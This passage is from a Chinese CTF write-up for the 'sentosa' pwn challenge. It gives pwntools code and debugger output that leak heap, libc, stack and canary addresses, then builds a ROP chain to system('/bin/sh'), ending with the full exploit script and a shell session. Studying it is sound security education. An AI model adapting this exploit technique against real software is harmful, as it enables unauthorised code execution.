0x0000000000000100 0x0000000000000021 0x555555757050: 0x0000010000000000 0x0000010000000100 0x555555757060: 0x0000000000000100 0x0000000000000031 0x555555757070: 0x000000410000000f 0x0000000000000000 0x555555757080: 0x0000000100000000 0x00000000000000d1 0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer 0x5555557570a0: 0x0000000100000050 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000010000000000 0x0000010000000100 0x555555757100: 0x0000000000000100 0x0000000000000071 0x555555757110: 0x4141414100000050 0x4141414141414141 0x555555757120: 0x4141414141414141 0x4141414141414141 0x555555757130: 0x4141414141414141 0x4141414141414141 0x555555757140: 0x4141414141414141 0x4141414141414141 0x555555757150: 0x00000000000000d0 0x0000000000000020 0x555555757160: 0x0000010000000000 0x0000010000000100 0x555555757170: 0x0000000000000100 0x0000000000020e91 0x555555757180: 0x0000000000000000 0x0000000000000000 ``` 将它打印出来即可得到 libc 的基址。 #### leak stack and canary ```python def leak_stack_canary(): global canary environ_addr = libc.symbols['__environ'] + libc_base log.info("__environ address: 0x%x" % environ_addr) start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4 view_proj() for i in range(5): io.recvuntil("Price: ") leak_low = int(io.recvline()[:-1], 10) & 0xffffffff io.recvuntil("Area: ") leak_high = int(io.recvline()[:-1], 10) & 0xffff stack_addr = leak_low + (leak_high<<32) canary_addr = stack_addr - 0x130 log.info("stack address: 0x%x" % stack_addr) log.info("canary address: 0x%x" % canary_addr) start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6 view_proj() for i in range(7): io.recvuntil("Project: ") canary = (u64(io.recvline()[:-1] + "\x00"))<<8 log.info("canary: 0x%x" % canary) ``` 通过 libc 地址计算出 `__environ` 的地址,构造 project 并打印出来得到其指向的 stack 地址。然后通过偏移计算得到 canary 地址,同样的方法构造 project,得到 canary。 #### pwn ```python def pwn(): pop_rdi_ret = libc_base + 0x21102 bin_sh = libc_base + next(libc.search('/bin/sh\x00')) system_addr = libc_base + libc.symbols['system'] payload = "A" * 0x68 payload += p64(canary) # canary payload += "A" * 0x28 payload += p64(pop_rdi_ret) # return address payload += p64(bin_sh) payload += p64(system_addr) # system("/bin/sh") start_proj(0, payload, 1, 1, 1) io.interactive() ``` 最后我们就可以构造 ROP 得到 shell 了。 ``` gdb-peda$ x/24gx $rsp 0x7fffffffec70: 0x00007ffff7dd3780 0x00000000f7b046e0 0x7fffffffec80: 0x4141414141414141 0x4141414141414141 0x7fffffffec90: 0x4141414141414141 0x4141414141414141 0x7fffffffeca0: 0x4141414141414141 0x4141414141414141 0x7fffffffecb0: 0x4141414141414141 0x4141414141414141 0x7fffffffecc0: 0x4141414141414141 0x4141414141414141 0x7fffffffecd0: 0x4141414141414141 0x4141414141414141 0x7fffffffece0: 0x4141414141414141 0xa078057095c7cf00 <-- canary 0x7fffffffecf0: 0x4141414141414141 0x4141414141414141 0x7fffffffed00: 0x4141414141414141 0x4141414141414141 0x7fffffffed10: 0x4141414141414141 0x00007ffff7a2f102 <-- pop rdi; ret 0x7fffffffed20: 0x00007ffff7b9a177 0x00007ffff7a53390 <-- "/bin/sh" <-- system ``` 开启 ASLR。Bingo!!! ``` $ python exp.py [+] Starting local process './sentosa': pid 11161 [*] heap base: 0x556cac880000 [*] libc base: 0x7fd37c2a7000 [*] __environ address: 0x7fd37c66cf38 [*] stack address: 0x7ffcdd2ae7c8 [*] canary address: 0x7ffcdd2ae698 [*] canary: 0x307ea32507776d00 [*] Switching to interactive mode Your project is No.7 $ whoami firmy ``` #### exploit 完整的 exp 如下: ```python #!/usr/bin/env python from pwn import * #context.log_level = 'debug' io = process(['./sentosa'], env={'LD_PRELOAD':'./libc.so.6'}) libc = ELF('libc.so.6') def start_proj(length, name, price, area, capacity): io.sendlineafter("Exit\n", '1') io.sendlineafter("name: ", str(length)) io.sendlineafter("name: ", name) io.sendlineafter("price: ", str(price)) io.sendlineafter("area: ", str(area)) io.sendlineafter("capacity: ", str(capacity)) def view_proj(): io.sendlineafter("Exit\n", '2') def cancel_proj(idx): io.sendlineafter("Exit\n", '4') io.sendlineafter("number: ", str(idx)) def leak_heap(): global heap_base start_proj(0, 'A', 1, 1, 1) # 0 start_proj(0, 'A'*0x5a, 1, 1, 1) # 1 start_proj(0, 'A', 1, 1, 1) # 2 cancel_proj(2) cancel_proj(0) view_proj() io.recvuntil("Capacity: ") leak = int(io.recvline()[:-1], 10) & 0xffffffff heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56 log.info("heap base: 0x%x" % heap_base) def leak_libc(): global libc_base start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0 start_proj(0x50, '\x01', 1, 1, 1) # 2 start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3 start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4 start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5 cancel_proj(4) view_proj() for i in range(5): io.recvuntil("Area: ") leak_low = int(io.recvline()[:-1], 10) & 0xffffffff io.recvuntil("Capacity: ") leak_high = int(io.recvline()[:-1], 10) & 0xffff libc_base = leak_low + (leak_high<<32) - 0x3c3b78 log.info("libc base: 0x%x" % libc_base) def leak_stack_canary(): global canary environ_addr = libc.symbols['__environ'] + libc_base log.info("__environ address: 0x%x" % environ_addr) start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4 view_proj() for i in range(5): io.recvuntil("Price: ") leak_low = int(io.recvline()[:-1], 10) & 0xffffffff io.recvuntil("Area: ") leak_high = int(io.recvline()[:-1], 10) & 0xffff stack_addr = leak_low + (leak_high<<32) canary_addr = stack_addr - 0x130 log.info("stack address: 0x%x" % stack_addr) log.info("canary address: 0x%x" % canary_addr) start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6 view_proj() for i in range(7): io.recvuntil("Project: ") canary = (u64(io.recvline()[:-1] + "\x00"))<<8 log.info("canary: 0x%x" % canary) def pwn(): pop_rdi_ret = libc_base + 0x21102 bin_sh = libc_base + next(libc.search('/bin/sh\x00')) system_addr = libc_base + libc.symbols['system'] payload = "A" * 0x68 payload += p64(canary) # canary payload += "A" * 0x28 payload += p64(pop_rdi_ret) # return address payload += p64(bin_sh) payload += p64(system_addr) # system("/bin/sh") start_proj(0, payload, 1, 1, 1) io.interactive() if __name__ == "__main__": leak_heap() leak_libc() leak_stack_canary() pwn() ``` ## 参考资料 - https://ctftime.org/task/4460